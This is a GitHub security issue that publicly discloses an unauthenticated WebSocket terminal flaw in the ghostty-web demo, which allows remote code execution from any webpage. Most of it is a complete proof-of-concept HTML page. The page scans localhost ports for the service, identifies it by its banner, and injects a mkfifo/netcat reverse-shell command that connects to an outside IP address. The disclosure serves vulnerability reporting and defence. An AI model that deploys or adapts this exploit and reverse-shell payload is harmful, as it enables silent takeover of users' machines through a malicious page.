Skip to content

[Security] Remote Code Execution via unauthenticated WebSocket terminal input #160

@therealcoiffeur

Description

@therealcoiffeur

⚠️ Note to maintainers: I attempted to report this through GitHub's private Security Advisory workflow, but the Security tab seems not enabled. I am therefore filing this as a public issue. I strongly recommend enabling Private vulnerability reporting so that future vulnerabilities can be disclosed privately.

Summary

If a user attempts to use the command provided in the README.md documentation (npx @ghostty-web/demo@next), they are vulnerable to an RCE.

The ghostty-web WebSocket endpoint (/ws) accepts arbitrary terminal input from any origin without authentication or origin validation. An attacker who can convince a user to visit a malicious webpage (or who can inject HTML/JS into any page loaded in the same browser) can locate the running instance via a localhost port scan and send arbitrary commands to the underlying shell, achieving full Remote Code Execution.

Affected component

WebSocket handler serving the terminal session on the /ws path.

Root cause

Three issues combine into an exploitable chain:

  1. No authentication: The /ws endpoint requires no token, cookie, or secret to connect.
  2. No Origin / Host header check: Connections from any Web origin (including http://evil.example) are accepted.
  3. Predictable local binding: The server listens on 127.0.0.1 on a port that can be enumerated from a browser via WebSocket probing (ports 1 to 10 000 in under 30 seconds).

Because browsers allow any page to open ws://127.0.0.1:<port>/ws, a malicious webpage can complete the full attack without any user interaction beyond opening the page.

Attack flow

  1. Attacker hosts (or injects) a page containing JavaScript.
  2. The script opens WebSocket connections to ws://127.0.0.1:<port>/ws across a port range.
  3. It identifies the ghostty-web instance by matching a known banner string in the first server message.
  4. Once located, it waits for the shell prompt to be ready, then writes an arbitrary command (e.g., a reverse-shell one-liner) as raw terminal input.
  5. The shell executes the command.

Minimal proof of concept

A self-contained HTML page exploit.html that automates the full chain (scan -> identify -> exploit) is attached / available below.

To reproduce:

  1. Start ghostty-web using the command provided in the documentation (npx @ghostty-web/demo@next).
  2. Open the PoC HTML file in any browser on the same host.
  3. Observe. The script finds the open port, connects, and sends terminal input.
  4. Verify command execution (e.g., check for /tmp/POC or the incoming netcat connection).

The PoC file (exploit.html) is available alongside this issue. It scans ports 1 to 10 000 with 150 concurrent WebSocket probes, identifies the instance by its welcome banner, then sends a payload after an idle timeout.

POC (video)

Here is a video demonstrating the problem

exploit.html

File: exploit.html

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ghostty-web port scanner</title>
<style>
  body { font: 13px/1.4 ui-monospace, Menlo, monospace; margin: 1rem; background: #111; color: #eee; }
  #log { white-space: pre-wrap; }
  .hit { color: #7CFC00; font-weight: bold; }
  .err { color: #f66; }
  .info { color: #8ab4ff; }
</style>
</head>
<body>
<div id="log"></div>

<script>
const START = 1;
const END = 10000;
const CONCURRENCY = 150;
const PATH = "/ws";
const TARGET = "Welcome to ghostty-web!";
const PROBE_TIMEOUT_MS = 3000;
const PAYLOAD = "\nid > /tmp/POC;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.64.1 1337 >/tmp/f\n";

const logEl = document.getElementById("log");
function log(msg, cls) {
  const line = document.createElement("div");
  if (cls) line.className = cls;
  line.textContent = `[${new Date().toISOString().slice(11, 23)}] ${msg}`;
  logEl.appendChild(line);
  window.scrollTo(0, document.body.scrollHeight);
}

let found = null;

function probe(port, path, timeoutMs) {
  return new Promise(resolve => {
    let ws;
    try {
      ws = new WebSocket(`ws://127.0.0.1:${port}${path}`);
    } catch {
      return resolve({ port, ok: false });
    }
    const done = (ok, data) => {
      clearTimeout(timer);
      try { ws.close(); } catch {}
      resolve({ port, ok, data });
    };
    const timer = setTimeout(() => done(false), timeoutMs);
    let buf = "";
    const handle = async ev => {
      let chunk;
      if (typeof ev.data === "string") chunk = ev.data;
      else if (ev.data instanceof Blob) chunk = await ev.data.text();
      else chunk = new TextDecoder().decode(ev.data);
      buf += chunk;
      if (buf.includes(TARGET)) done(true, buf);
    };
    ws.onmessage = ev => { handle(ev); };
    ws.onerror = () => done(false);
    ws.onclose = () => done(false);
  });
}

async function scan() {
  log(`Scanning 127.0.0.1 ports ${START}-${END} on ${PATH} (concurrency ${CONCURRENCY})`, "info");
  const t0 = performance.now();
  let next = START;
  let scanned = 0;
  const total = END - START + 1;

  async function worker() {
    while (!found) {
      const port = next++;
      if (port > END) return;
      const res = await probe(port, PATH, PROBE_TIMEOUT_MS);
      scanned++;
      if (scanned % 250 === 0) log(`Progress: ${scanned}/${total} probed`, "info");
      if (res.ok) {
        found = res;
        log(`HIT on port ${res.port}`, "hit");
        return;
      }
    }
  }

  await Promise.all(Array.from({ length: CONCURRENCY }, () => worker()));
  const ms = Math.round(performance.now() - t0);
  if (found) log(`Found ghostty-web on port ${found.port} in ${ms} ms (${scanned} probed)`, "hit");
  else log(`No match found in ${START}-${END} (scanned ${scanned}, ${ms} ms)`, "err");
}

function sendPayload(port, path) {
  log(`Opening ws://127.0.0.1:${port}${path}`, "info");
  const ws = new WebSocket(`ws://127.0.0.1:${port}${path}`);
  ws.binaryType = "arraybuffer";

  const IDLE_MS = 500;
  let idleTimer = null;
  let bytesRx = 0;
  let msgCount = 0;
  let payloadSent = false;

  const schedulePayload = () => {
    clearTimeout(idleTimer);
    idleTimer = setTimeout(() => {
      if (payloadSent || ws.readyState !== WebSocket.OPEN) return;
      payloadSent = true;
      log(`Idle for ${IDLE_MS}ms after ${msgCount} msgs / ${bytesRx} bytes -> sending PAYLOAD`, "info");
      ws.send(PAYLOAD);
      log(`Sent PAYLOAD to port ${port}`, "hit");
    }, IDLE_MS);
  };

  ws.onopen = () => {
    log(`Connected; waiting for initial bytes before sending`, "info");
    schedulePayload();
  };
  ws.onmessage = async ev => {
    let chunk;
    if (typeof ev.data === "string") chunk = ev.data;
    else if (ev.data instanceof Blob) chunk = await ev.data.text();
    else chunk = new TextDecoder().decode(ev.data);
    msgCount++;
    bytesRx += chunk.length;
    log(`<< ${JSON.stringify(chunk)}`);
    if (!payloadSent) schedulePayload();
  };
  ws.onerror = () => log(`WebSocket error on port ${port}`, "err");
  ws.onclose = c => { clearTimeout(idleTimer); log(`WebSocket closed (code ${c.code})`, "info"); };
}

window.addEventListener("load", async () => {
  await scan();
  if (found) sendPayload(found.port, PATH);
});
</script>
</body>
</html>

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions